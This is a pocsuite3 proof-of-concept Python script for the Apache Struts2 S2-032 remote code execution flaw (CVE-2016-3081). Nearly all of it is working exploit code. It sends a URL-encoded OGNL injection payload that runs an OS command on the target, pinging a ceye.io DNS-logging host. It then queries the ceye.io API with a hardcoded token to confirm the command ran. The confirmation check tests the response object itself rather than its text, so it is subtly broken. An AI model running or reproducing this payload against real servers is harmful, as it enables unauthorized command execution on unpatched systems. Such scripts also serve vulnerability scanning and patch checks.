#!/usr/bin/env python
# _*_ encoding：utf-8 _*_

from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
from pocsuite3.api import Output
from collections import OrderedDict
from pocsuite3.api import OptString
from pocsuite3.api import requests
from pocsuite3.lib.utils import random_str

class Struts2(POCBase):
    vulID = ''
    version = '1.0'
    author = ['big04dream']
    vulDate = '2018-08-24'
    createDate = '2020-07-01'
    updateDate = '2020-07-01'
    references = ['']
    name = 'Apache Struts2 远程代码执行漏洞 (S2-032/CVE-2016-3081)'
    appPowerLink = 'https://struts.apache.org/'
    appName = 'Struts2'
    appVersion = 'Struts 2.x < 2.3.20.2, Struts 2.3.28.x < 2.3.28.1, Struts 2.3.24.x < 2.3.24.2'
    vulType = 'rce'
    desc = '''
    Apache Struts2 远程代码执行漏洞 (S2-032/CVE-2016-3081)
    '''

    def _verify(self):
        result = {}
        try:
            cmd = random_str(16) + '.6eb4yw.ceye.io'
            cmd2 = 'ping ' + cmd
            payload = "?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd="+cmd2+"&pp=____A&ppp=%20&encoding=UTF-8"
            target = self.url + payload
            r = requests.get(target, headers=self._headers)
            if r.status_code == 200 :
                res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
                if cmd in res:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = self.url
                    result['VerifyInfo']['Payload'] = payload
        except:
            pass
        return self.parse_output(result)

    @property
    def _headers(self):
        headers = {
            "Accept": "application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
            "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        return headers

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(Struts2)